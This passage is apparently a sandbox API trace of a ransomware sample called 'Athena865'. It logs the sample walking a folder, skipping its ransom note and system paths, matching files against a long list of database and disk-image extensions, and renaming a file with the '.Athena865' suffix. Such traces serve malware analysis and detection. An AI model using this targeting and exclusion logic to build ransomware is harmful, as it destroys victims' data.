(in: hFile=0xf4, lpBuffer=0x53ef40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ef40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.516] CloseHandle (hObject=0xf4) returned 1 [0098.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ef40 | out: hHeap=0x4f0000) returned 1 [0098.516] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.516] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0098.517] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.517] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.517] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.517] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.517] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.517] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.517] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.517] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.517] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ba21c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.517] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.517] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a127460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1c821ca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0098.517] lstrcmpiW (lpString1="state.rsm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.517] lstrcmpiW (lpString1="state.rsm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.517] lstrcmpiW (lpString1="state.rsm", lpString2=".") returned 1 [0098.517] lstrcmpiW (lpString1="state.rsm", lpString2="..") returned 1 [0098.517] lstrcmpiW (lpString1="state.rsm", lpString2="windows") returned -1 [0098.517] lstrcmpiW (lpString1="state.rsm", lpString2="bootmgr") returned 1 [0098.517] lstrcmpiW (lpString1="state.rsm", lpString2="temp") returned -1 [0098.518] lstrcmpiW (lpString1="state.rsm", lpString2="pagefile.sys") returned 1 [0098.518] lstrcmpiW (lpString1="state.rsm", lpString2="boot") returned 1 [0098.518] lstrcmpiW (lpString1="state.rsm", lpString2="ids.txt") returned 1 [0098.518] lstrcmpiW (lpString1="state.rsm", lpString2="ntuser.dat") returned 1 [0098.518] lstrcmpiW (lpString1="state.rsm", lpString2="perflogs") returned 1 [0098.518] lstrcmpiW (lpString1="state.rsm", lpString2="MSBuild") returned 1 [0098.518] lstrlenW (lpString="state.rsm") returned 9 [0098.518] lstrcpyW (in: lpString1=0x241e8d0, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm" [0098.518] lstrlenW (lpString="state.rsm") returned 9 [0098.518] lstrlenW (lpString="Athena865") returned 9 [0098.518] lstrlenW (lpString=".dll") returned 4 [0098.518] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1 [0098.518] lstrlenW (lpString=".lnk") returned 4 [0098.518] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1 [0098.518] lstrlenW (lpString=".ini") returned 4 [0098.518] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1 [0098.518] lstrlenW (lpString=".sys") returned 4 [0098.518] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1 [0098.518] lstrlenW (lpString="state.rsm") returned 9 [0098.518] lstrlenW (lpString="bak") returned 3 [0098.518] lstrcmpiW (lpString1="rsm", lpString2="bak") returned 1 [0098.518] lstrlenW (lpString="ba_") returned 3 [0098.518] lstrcmpiW (lpString1="rsm", lpString2="ba_") returned 1 [0098.518] lstrlenW (lpString="dbb") returned 3 [0098.518] lstrcmpiW (lpString1="rsm", lpString2="dbb") returned 1 [0098.518] lstrlenW (lpString="vmdk") returned 4 [0098.518] lstrcmpiW (lpString1=".rsm", lpString2="vmdk") returned -1 [0098.518] lstrlenW (lpString="rar") returned 3 [0098.519] lstrcmpiW (lpString1="rsm", lpString2="rar") returned 1 [0098.519] lstrlenW (lpString="zip") returned 3 [0098.519] lstrcmpiW (lpString1="rsm", lpString2="zip") returned -1 [0098.519] lstrlenW (lpString="tgz") returned 3 [0098.519] lstrcmpiW (lpString1="rsm", lpString2="tgz") returned -1 [0098.519] lstrlenW (lpString="vbox") returned 4 [0098.519] lstrcmpiW (lpString1=".rsm", lpString2="vbox") returned -1 [0098.519] lstrlenW (lpString="vdi") returned 3 [0098.519] lstrcmpiW (lpString1="rsm", lpString2="vdi") returned -1 [0098.519] lstrlenW (lpString="vhd") returned 3 [0098.519] lstrcmpiW (lpString1="rsm", lpString2="vhd") returned -1 [0098.519] lstrlenW (lpString="vhdx") returned 4 [0098.519] lstrcmpiW (lpString1=".rsm", lpString2="vhdx") returned -1 [0098.519] lstrlenW (lpString="avhd") returned 4 [0098.519] lstrcmpiW (lpString1=".rsm", lpString2="avhd") returned -1 [0098.519] lstrlenW (lpString="db") returned 2 [0098.519] lstrcmpiW (lpString1="sm", lpString2="db") returned 1 [0098.519] lstrlenW (lpString="db2") returned 3 [0098.519] lstrcmpiW (lpString1="rsm", lpString2="db2") returned 1 [0098.519] lstrlenW (lpString="db3") returned 3 [0098.519] lstrcmpiW (lpString1="rsm", lpString2="db3") returned 1 [0098.519] lstrlenW (lpString="dbf") returned 3 [0098.519] lstrcmpiW (lpString1="rsm", lpString2="dbf") returned 1 [0098.519] lstrlenW (lpString="mdf") returned 3 [0098.519] lstrcmpiW (lpString1="rsm", lpString2="mdf") returned 1 [0098.519] lstrlenW (lpString="mdb") returned 3 [0098.519] lstrcmpiW (lpString1="rsm", lpString2="mdb") returned 1 [0098.519] lstrlenW (lpString="sql") returned 3 [0098.519] lstrcmpiW (lpString1="rsm", lpString2="sql") returned -1 [0098.520] lstrlenW (lpString="sqlite") returned 6 [0098.520] lstrcmpiW (lpString1="te.rsm", lpString2="sqlite") returned 1 [0098.520] lstrlenW (lpString="sqlite3") returned 7 [0098.520] lstrcmpiW (lpString1="ate.rsm", lpString2="sqlite3") returned -1 [0098.520] lstrlenW (lpString="sqlitedb") returned 8 [0098.520] lstrcmpiW (lpString1="tate.rsm", lpString2="sqlitedb") returned 1 [0098.520] lstrlenW (lpString="xml") returned 3 [0098.520] lstrcmpiW (lpString1="rsm", lpString2="xml") returned -1 [0098.520] lstrlenW (lpString="$er") returned 3 [0098.520] lstrcmpiW (lpString1="rsm", lpString2="$er") returned 1 [0098.520] lstrlenW (lpString="4dd") returned 3 [0098.520] lstrcmpiW (lpString1="rsm", lpString2="4dd") returned 1 [0098.520] lstrlenW (lpString="4dl") returned 3 [0098.520] lstrcmpiW (lpString1="rsm", lpString2="4dl") returned 1 [0098.520] lstrlenW (lpString="^^^") returned 3 [0098.520] lstrcmpiW (lpString1="rsm", lpString2="^^^") returned 1 [0098.520] lstrlenW (lpString="abs") returned 3 [0098.520] lstrcmpiW (lpString1="rsm", lpString2="abs") returned 1 [0098.520] lstrlenW (lpString="abx") returned 3 [0098.520] lstrcmpiW (lpString1="rsm", lpString2="abx") returned 1 [0098.520] lstrlenW (lpString="accdb") returned 5 [0098.520] lstrcmpiW (lpString1="e.rsm", lpString2="accdb") returned 1 [0098.520] lstrlenW (lpString="accdc") returned 5 [0098.520] lstrcmpiW (lpString1="e.rsm", lpString2="accdc") returned 1 [0098.520] lstrlenW (lpString="accde") returned 5 [0098.520] lstrcmpiW (lpString1="e.rsm", lpString2="accde") returned 1 [0098.520] lstrlenW (lpString="accdr") returned 5 [0098.520] lstrcmpiW (lpString1="e.rsm", lpString2="accdr") returned 1 [0098.520] lstrlenW (lpString="accdt") returned 5 [0098.521] lstrcmpiW (lpString1="e.rsm", lpString2="accdt") returned 1 [0098.521] lstrlenW (lpString="accdw") returned 5 [0098.521] lstrcmpiW (lpString1="e.rsm", lpString2="accdw") returned 1 [0098.521] lstrlenW (lpString="accft") returned 5 [0098.521] lstrcmpiW (lpString1="e.rsm", lpString2="accft") returned 1 [0098.521] lstrlenW (lpString="adb") returned 3 [0098.521] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1 [0098.521] lstrlenW (lpString="adb") returned 3 [0098.521] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1 [0098.521] lstrlenW (lpString="ade") returned 3 [0098.521] lstrcmpiW (lpString1="rsm", lpString2="ade") returned 1 [0098.521] lstrlenW (lpString="adf") returned 3 [0098.521] lstrcmpiW (lpString1="rsm", lpString2="adf") returned 1 [0098.521] lstrlenW (lpString="adn") returned 3 [0098.521] lstrcmpiW (lpString1="rsm", lpString2="adn") returned 1 [0098.521] lstrlenW (lpString="adp") returned 3 [0098.521] lstrcmpiW (lpString1="rsm", lpString2="adp") returned 1 [0098.521] lstrlenW (lpString="alf") returned 3 [0098.521] lstrcmpiW (lpString1="rsm", lpString2="alf") returned 1 [0098.521] lstrlenW (lpString="ask") returned 3 [0098.521] lstrcmpiW (lpString1="rsm", lpString2="ask") returned 1 [0098.521] lstrlenW (lpString="btr") returned 3 [0098.521] lstrcmpiW (lpString1="rsm", lpString2="btr") returned 1 [0098.521] lstrlenW (lpString="cat") returned 3 [0098.521] lstrcmpiW (lpString1="rsm", lpString2="cat") returned 1 [0098.521] lstrlenW (lpString="cdb") returned 3 [0098.521] lstrcmpiW (lpString1="rsm", lpString2="cdb") returned 1 [0098.521] lstrlenW (lpString="ckp") returned 3 [0098.522] lstrcmpiW (lpString1="rsm", lpString2="ckp") returned 1 [0098.522] lstrlenW (lpString="cma") returned 3 [0098.522] lstrcmpiW (lpString1="rsm", lpString2="cma") returned 1 [0098.522] lstrlenW (lpString="cpd") returned 3 [0098.522] lstrcmpiW (lpString1="rsm", lpString2="cpd") returned 1 [0098.522] lstrlenW (lpString="dacpac") returned 6 [0098.522] lstrcmpiW (lpString1="te.rsm", lpString2="dacpac") returned 1 [0098.522] lstrlenW (lpString="dad") returned 3 [0098.522] lstrcmpiW (lpString1="rsm", lpString2="dad") returned 1 [0098.522] lstrlenW (lpString="dadiagrams") returned 10 [0098.522] lstrlenW (lpString="daschema") returned 8 [0098.522] lstrcmpiW (lpString1="tate.rsm", lpString2="daschema") returned 1 [0098.522] lstrlenW (lpString="db-journal") returned 10 [0098.522] lstrlenW (lpString="db-shm") returned 6 [0098.522] lstrcmpiW (lpString1="te.rsm", lpString2="db-shm") returned 1 [0098.522] lstrlenW (lpString="db-wal") returned 6 [0098.522] lstrcmpiW (lpString1="te.rsm", lpString2="db-wal") returned 1 [0098.522] lstrlenW (lpString="dbc") returned 3 [0098.522] lstrcmpiW (lpString1="rsm", lpString2="dbc") returned 1 [0098.522] lstrlenW (lpString="dbs") returned 3 [0098.522] lstrcmpiW (lpString1="rsm", lpString2="dbs") returned 1 [0098.522] lstrlenW (lpString="dbt") returned 3 [0098.522] lstrcmpiW (lpString1="rsm", lpString2="dbt") returned 1 [0098.522] lstrlenW (lpString="dbv") returned 3 [0098.522] lstrcmpiW (lpString1="rsm", lpString2="dbv") returned 1 [0098.522] lstrlenW (lpString="dbx") returned 3 [0098.522] lstrcmpiW (lpString1="rsm", lpString2="dbx") returned 1 [0098.522] lstrlenW (lpString="dcb") returned 3 [0098.522] lstrcmpiW (lpString1="rsm", lpString2="dcb") returned 1 [0098.522] lstrlenW (lpString="dct") returned 3 [0098.523] lstrcmpiW (lpString1="rsm", lpString2="dct") returned 1 [0098.523] lstrlenW (lpString="dcx") returned 3 [0098.523] lstrcmpiW (lpString1="rsm", lpString2="dcx") returned 1 [0098.523] lstrlenW (lpString="ddl") returned 3 [0098.523] lstrcmpiW (lpString1="rsm", lpString2="ddl") returned 1 [0098.523] lstrlenW (lpString="dlis") returned 4 [0098.523] lstrcmpiW (lpString1=".rsm", lpString2="dlis") returned -1 [0098.523] lstrlenW (lpString="dp1") returned 3 [0098.523] lstrcmpiW (lpString1="rsm", lpString2="dp1") returned 1 [0098.523] lstrlenW (lpString="dqy") returned 3 [0098.523] lstrcmpiW (lpString1="rsm", lpString2="dqy") returned 1 [0098.523] lstrlenW (lpString="dsk") returned 3 [0098.523] lstrcmpiW (lpString1="rsm", lpString2="dsk") returned 1 [0098.523] lstrlenW (lpString="dsn") returned 3 [0098.523] lstrcmpiW (lpString1="rsm", lpString2="dsn") returned 1 [0098.523] lstrlenW (lpString="dtsx") returned 4 [0098.523] lstrcmpiW (lpString1=".rsm", lpString2="dtsx") returned -1 [0098.523] lstrlenW (lpString="dxl") returned 3 [0098.523] lstrcmpiW (lpString1="rsm", lpString2="dxl") returned 1 [0098.523] lstrlenW (lpString="eco") returned 3 [0098.523] lstrcmpiW (lpString1="rsm", lpString2="eco") returned 1 [0098.523] lstrlenW (lpString="ecx") returned 3 [0098.523] lstrcmpiW (lpString1="rsm", lpString2="ecx") returned 1 [0098.523] lstrlenW (lpString="edb") returned 3 [0098.523] lstrcmpiW (lpString1="rsm", lpString2="edb") returned 1 [0098.523] lstrlenW (lpString="epim") returned 4 [0098.523] lstrcmpiW (lpString1=".rsm", lpString2="epim") returned -1 [0098.523] lstrlenW (lpString="fcd") returned 3 [0098.524] lstrcmpiW (lpString1="rsm", lpString2="fcd") returned 1 [0098.524] lstrlenW (lpString="fdb") returned 3 [0098.524] lstrcmpiW (lpString1="rsm", lpString2="fdb") returned 1 [0098.524] lstrlenW (lpString="fic") returned 3 [0098.524] lstrcmpiW (lpString1="rsm", lpString2="fic") returned 1 [0098.524] lstrlenW (lpString="flexolibrary") returned 12 [0098.524] lstrlenW (lpString="fm5") returned 3 [0098.524] lstrcmpiW (lpString1="rsm", lpString2="fm5") returned 1 [0098.524] lstrlenW (lpString="fmp") returned 3 [0098.524] lstrcmpiW (lpString1="rsm", lpString2="fmp") returned 1 [0098.524] lstrlenW (lpString="fmp12") returned 5 [0098.524] lstrcmpiW (lpString1="e.rsm", lpString2="fmp12") returned -1 [0098.524] lstrlenW (lpString="fmpsl") returned 5 [0098.524] lstrcmpiW (lpString1="e.rsm", lpString2="fmpsl") returned -1 [0098.524] lstrlenW (lpString="fol") returned 3 [0098.524] lstrcmpiW (lpString1="rsm", lpString2="fol") returned 1 [0098.524] lstrlenW (lpString="fp3") returned 3 [0098.524] lstrcmpiW (lpString1="rsm", lpString2="fp3") returned 1 [0098.524] lstrlenW (lpString="fp4") returned 3 [0098.524] lstrcmpiW (lpString1="rsm", lpString2="fp4") returned 1 [0098.524] lstrlenW (lpString="fp5") returned 3 [0098.524] lstrcmpiW (lpString1="rsm", lpString2="fp5") returned 1 [0098.524] lstrlenW (lpString="fp7") returned 3 [0098.524] lstrcmpiW (lpString1="rsm", lpString2="fp7") returned 1 [0098.524] lstrlenW (lpString="fpt") returned 3 [0098.524] lstrcmpiW (lpString1="rsm", lpString2="fpt") returned 1 [0098.524] lstrlenW (lpString="frm") returned 3 [0098.524] lstrcmpiW (lpString1="rsm", lpString2="frm") returned 1 [0098.524] lstrlenW (lpString="gdb") returned 3 [0098.525] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1 [0098.525] lstrlenW (lpString="gdb") returned 3 [0098.525] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1 [0098.525] lstrlenW (lpString="grdb") returned 4 [0098.525] lstrcmpiW (lpString1=".rsm", lpString2="grdb") returned -1 [0098.525] lstrlenW (lpString="gwi") returned 3 [0098.525] lstrcmpiW (lpString1="rsm", lpString2="gwi") returned 1 [0098.525] lstrlenW (lpString="hdb") returned 3 [0098.525] lstrcmpiW (lpString1="rsm", lpString2="hdb") returned 1 [0098.525] lstrlenW (lpString="his") returned 3 [0098.525] lstrcmpiW (lpString1="rsm", lpString2="his") returned 1 [0098.525] lstrlenW (lpString="ib") returned 2 [0098.525] lstrcmpiW (lpString1="sm", lpString2="ib") returned 1 [0098.525] lstrlenW (lpString="idb") returned 3 [0098.525] lstrcmpiW (lpString1="rsm", lpString2="idb") returned 1 [0098.525] lstrlenW (lpString="ihx") returned 3 [0098.525] lstrcmpiW (lpString1="rsm", lpString2="ihx") returned 1 [0098.525] lstrlenW (lpString="itdb") returned 4 [0098.525] lstrcmpiW (lpString1=".rsm", lpString2="itdb") returned -1 [0098.525] lstrlenW (lpString="itw") returned 3 [0098.525] lstrcmpiW (lpString1="rsm", lpString2="itw") returned 1 [0098.525] lstrlenW (lpString="jet") returned 3 [0098.525] lstrcmpiW (lpString1="rsm", lpString2="jet") returned 1 [0098.525] lstrlenW (lpString="jtx") returned 3 [0098.525] lstrcmpiW (lpString1="rsm", lpString2="jtx") returned 1 [0098.525] lstrlenW (lpString="kdb") returned 3 [0098.525] lstrcmpiW (lpString1="rsm", lpString2="kdb") returned 1 [0098.525] lstrlenW (lpString="kexi") returned 4 [0098.525] lstrcmpiW (lpString1=".rsm", lpString2="kexi") returned -1 [0098.525] lstrlenW (lpString="kexic") returned 5 [0098.526] lstrcmpiW (lpString1="e.rsm", lpString2="kexic") returned -1 [0098.526] lstrlenW (lpString="kexis") returned 5 [0098.526] lstrcmpiW (lpString1="e.rsm", lpString2="kexis") returned -1 [0098.526] lstrlenW (lpString="lgc") returned 3 [0098.526] lstrcmpiW (lpString1="rsm", lpString2="lgc") returned 1 [0098.526] lstrlenW (lpString="lwx") returned 3 [0098.526] lstrcmpiW (lpString1="rsm", lpString2="lwx") returned 1 [0098.526] lstrlenW (lpString="maf") returned 3 [0098.526] lstrcmpiW (lpString1="rsm", lpString2="maf") returned 1 [0098.526] lstrlenW (lpString="maq") returned 3 [0098.526] lstrcmpiW (lpString1="rsm", lpString2="maq") returned 1 [0098.526] lstrlenW (lpString="mar") returned 3 [0098.526] lstrcmpiW (lpString1="rsm", lpString2="mar") returned 1 [0098.526] lstrlenW (lpString="marshal") returned 7 [0098.526] lstrcmpiW (lpString1="ate.rsm", lpString2="marshal") returned -1 [0098.526] lstrlenW (lpString="mas") returned 3 [0098.526] lstrcmpiW (lpString1="rsm", lpString2="mas") returned 1 [0098.526] lstrlenW (lpString="mav") returned 3 [0098.526] lstrcmpiW (lpString1="rsm", lpString2="mav") returned 1 [0098.526] lstrlenW (lpString="maw") returned 3 [0098.526] lstrcmpiW (lpString1="rsm", lpString2="maw") returned 1 [0098.526] lstrlenW (lpString="mdbhtml") returned 7 [0098.526] lstrcmpiW (lpString1="ate.rsm", lpString2="mdbhtml") returned -1 [0098.526] lstrlenW (lpString="mdn") returned 3 [0098.526] lstrcmpiW (lpString1="rsm", lpString2="mdn") returned 1 [0098.526] lstrlenW (lpString="mdt") returned 3 [0098.526] lstrcmpiW (lpString1="rsm", lpString2="mdt") returned 1 [0098.526] lstrlenW (lpString="mfd") returned 3 [0098.526] lstrcmpiW (lpString1="rsm", lpString2="mfd") returned 1 [0098.527] lstrlenW (lpString="mpd") returned 3 [0098.527] lstrcmpiW (lpString1="rsm", lpString2="mpd") returned 1 [0098.527] lstrlenW (lpString="mrg") returned 3 [0098.527] lstrcmpiW (lpString1="rsm", lpString2="mrg") returned 1 [0098.527] lstrlenW (lpString="mud") returned 3 [0098.527] lstrcmpiW (lpString1="rsm", lpString2="mud") returned 1 [0098.527] lstrlenW (lpString="mwb") returned 3 [0098.527] lstrcmpiW (lpString1="rsm", lpString2="mwb") returned 1 [0098.527] lstrlenW (lpString="myd") returned 3 [0098.527] lstrcmpiW (lpString1="rsm", lpString2="myd") returned 1 [0098.527] lstrlenW (lpString="ndf") returned 3 [0098.527] lstrcmpiW (lpString1="rsm", lpString2="ndf") returned 1 [0098.527] lstrlenW (lpString="nnt") returned 3 [0098.527] lstrcmpiW (lpString1="rsm", lpString2="nnt") returned 1 [0098.527] lstrlenW (lpString="nrmlib") returned 6 [0098.527] lstrcmpiW (lpString1="te.rsm", lpString2="nrmlib") returned 1 [0098.527] lstrlenW (lpString="ns2") returned 3 [0098.527] lstrcmpiW (lpString1="rsm", lpString2="ns2") returned 1 [0098.527] lstrlenW (lpString="ns3") returned 3 [0098.527] lstrcmpiW (lpString1="rsm", lpString2="ns3") returned 1 [0098.527] lstrlenW (lpString="ns4") returned 3 [0098.527] lstrcmpiW (lpString1="rsm", lpString2="ns4") returned 1 [0098.527] lstrlenW (lpString="nsf") returned 3 [0098.527] lstrcmpiW (lpString1="rsm", lpString2="nsf") returned 1 [0098.527] lstrlenW (lpString="nv") returned 2 [0098.527] lstrcmpiW (lpString1="sm", lpString2="nv") returned 1 [0098.527] lstrlenW (lpString="nv2") returned 3 [0098.527] lstrcmpiW (lpString1="rsm", lpString2="nv2") returned 1 [0098.527] lstrlenW (lpString="nwdb") returned 4 [0098.528] lstrcmpiW (lpString1=".rsm", lpString2="nwdb") returned -1 [0098.528] lstrlenW (lpString="nyf") returned 3 [0098.528] lstrcmpiW (lpString1="rsm", lpString2="nyf") returned 1 [0098.528] lstrlenW (lpString="odb") returned 3 [0098.528] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1 [0098.528] lstrlenW (lpString="odb") returned 3 [0098.528] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1 [0098.528] lstrlenW (lpString="oqy") returned 3 [0098.528] lstrcmpiW (lpString1="rsm", lpString2="oqy") returned 1 [0098.528] lstrlenW (lpString="ora") returned 3 [0098.528] lstrcmpiW (lpString1="rsm", lpString2="ora") returned 1 [0098.528] lstrlenW (lpString="orx") returned 3 [0098.528] lstrcmpiW (lpString1="rsm", lpString2="orx") returned 1 [0098.528] lstrlenW (lpString="owc") returned 3 [0098.528] lstrcmpiW (lpString1="rsm", lpString2="owc") returned 1 [0098.528] lstrlenW (lpString="p96") returned 3 [0098.528] lstrcmpiW (lpString1="rsm", lpString2="p96") returned 1 [0098.528] lstrlenW (lpString="p97") returned 3 [0098.528] lstrcmpiW (lpString1="rsm", lpString2="p97") returned 1 [0098.528] lstrlenW (lpString="pan") returned 3 [0098.528] lstrcmpiW (lpString1="rsm", lpString2="pan") returned 1 [0098.528] lstrlenW (lpString="pdb") returned 3 [0098.528] lstrcmpiW (lpString1="rsm", lpString2="pdb") returned 1 [0098.528] lstrlenW (lpString="pdm") returned 3 [0098.528] lstrcmpiW (lpString1="rsm", lpString2="pdm") returned 1 [0098.528] lstrlenW (lpString="pnz") returned 3 [0098.528] lstrcmpiW (lpString1="rsm", lpString2="pnz") returned 1 [0098.528] lstrlenW (lpString="qry") returned 3 [0098.529] lstrcmpiW (lpString1="rsm", lpString2="qry") returned 1 [0098.529] lstrlenW (lpString="qvd") returned 3 [0098.529] lstrcmpiW (lpString1="rsm", lpString2="qvd") returned 1 [0098.529] lstrlenW (lpString="rbf") returned 3 [0098.529] lstrcmpiW (lpString1="rsm", lpString2="rbf") returned 1 [0098.529] lstrlenW (lpString="rctd") returned 4 [0098.529] lstrcmpiW (lpString1=".rsm", lpString2="rctd") returned -1 [0098.529] lstrlenW (lpString="rod") returned 3 [0098.529] lstrcmpiW (lpString1="rsm", lpString2="rod") returned 1 [0098.529] lstrlenW (lpString="rodx") returned 4 [0098.529] lstrcmpiW (lpString1=".rsm", lpString2="rodx") returned -1 [0098.529] lstrlenW (lpString="rpd") returned 3 [0098.529] lstrcmpiW (lpString1="rsm", lpString2="rpd") returned 1 [0098.529] lstrlenW (lpString="rsd") returned 3 [0098.529] lstrcmpiW (lpString1="rsm", lpString2="rsd") returned 1 [0098.529] lstrlenW (lpString="sas7bdat") returned 8 [0098.529] lstrcmpiW (lpString1="tate.rsm", lpString2="sas7bdat") returned 1 [0098.529] lstrlenW (lpString="sbf") returned 3 [0098.529] lstrcmpiW (lpString1="rsm", lpString2="sbf") returned -1 [0098.529] lstrlenW (lpString="scx") returned 3 [0098.529] lstrcmpiW (lpString1="rsm", lpString2="scx") returned -1 [0098.529] lstrlenW (lpString="sdb") returned 3 [0098.529] lstrcmpiW (lpString1="rsm", lpString2="sdb") returned -1 [0098.529] lstrlenW (lpString="sdc") returned 3 [0098.529] lstrcmpiW (lpString1="rsm", lpString2="sdc") returned -1 [0098.529] lstrlenW (lpString="sdf") returned 3 [0098.529] lstrcmpiW (lpString1="rsm", lpString2="sdf") returned -1 [0098.529] lstrlenW (lpString="sis") returned 3 [0098.529] lstrcmpiW (lpString1="rsm", lpString2="sis") returned -1 [0098.530] lstrlenW (lpString="spq") returned 3 [0098.530] lstrcmpiW (lpString1="rsm", lpString2="spq") returned -1 [0098.530] lstrlenW (lpString="te") returned 2 [0098.530] lstrcmpiW (lpString1="sm", lpString2="te") returned -1 [0098.530] lstrlenW (lpString="teacher") returned 7 [0098.530] lstrcmpiW (lpString1="ate.rsm", lpString2="teacher") returned -1 [0098.530] lstrlenW (lpString="tmd") returned 3 [0098.530] lstrcmpiW (lpString1="rsm", lpString2="tmd") returned -1 [0098.530] lstrlenW (lpString="tps") returned 3 [0098.530] lstrcmpiW (lpString1="rsm", lpString2="tps") returned -1 [0098.530] lstrlenW (lpString="trc") returned 3 [0098.530] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1 [0098.530] lstrlenW (lpString="trc") returned 3 [0098.530] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1 [0098.530] lstrlenW (lpString="trm") returned 3 [0098.530] lstrcmpiW (lpString1="rsm", lpString2="trm") returned -1 [0098.530] lstrlenW (lpString="udb") returned 3 [0098.530] lstrcmpiW (lpString1="rsm", lpString2="udb") returned -1 [0098.530] lstrlenW (lpString="udl") returned 3 [0098.530] lstrcmpiW (lpString1="rsm", lpString2="udl") returned -1 [0098.530] lstrlenW (lpString="usr") returned 3 [0098.530] lstrcmpiW (lpString1="rsm", lpString2="usr") returned -1 [0098.530] lstrlenW (lpString="v12") returned 3 [0098.530] lstrcmpiW (lpString1="rsm", lpString2="v12") returned -1 [0098.530] lstrlenW (lpString="vis") returned 3 [0098.530] lstrcmpiW (lpString1="rsm", lpString2="vis") returned -1 [0098.530] lstrlenW (lpString="vpd") returned 3 [0098.530] lstrcmpiW (lpString1="rsm", lpString2="vpd") returned -1 [0098.530] lstrlenW (lpString="vvv") returned 3 [0098.531] lstrcmpiW (lpString1="rsm", lpString2="vvv") returned -1 [0098.531] lstrlenW (lpString="wdb") returned 3 [0098.531] lstrcmpiW (lpString1="rsm", lpString2="wdb") returned -1 [0098.531] lstrlenW (lpString="wmdb") returned 4 [0098.531] lstrcmpiW (lpString1=".rsm", lpString2="wmdb") returned -1 [0098.531] lstrlenW (lpString="wrk") returned 3 [0098.531] lstrcmpiW (lpString1="rsm", lpString2="wrk") returned -1 [0098.531] lstrlenW (lpString="xdb") returned 3 [0098.531] lstrcmpiW (lpString1="rsm", lpString2="xdb") returned -1 [0098.531] lstrlenW (lpString="xld") returned 3 [0098.531] lstrcmpiW (lpString1="rsm", lpString2="xld") returned -1 [0098.531] lstrlenW (lpString="xmlff") returned 5 [0098.531] lstrcmpiW (lpString1="e.rsm", lpString2="xmlff") returned -1 [0098.531] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.Athena865") returned 87 [0098.531] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\programdata\\package 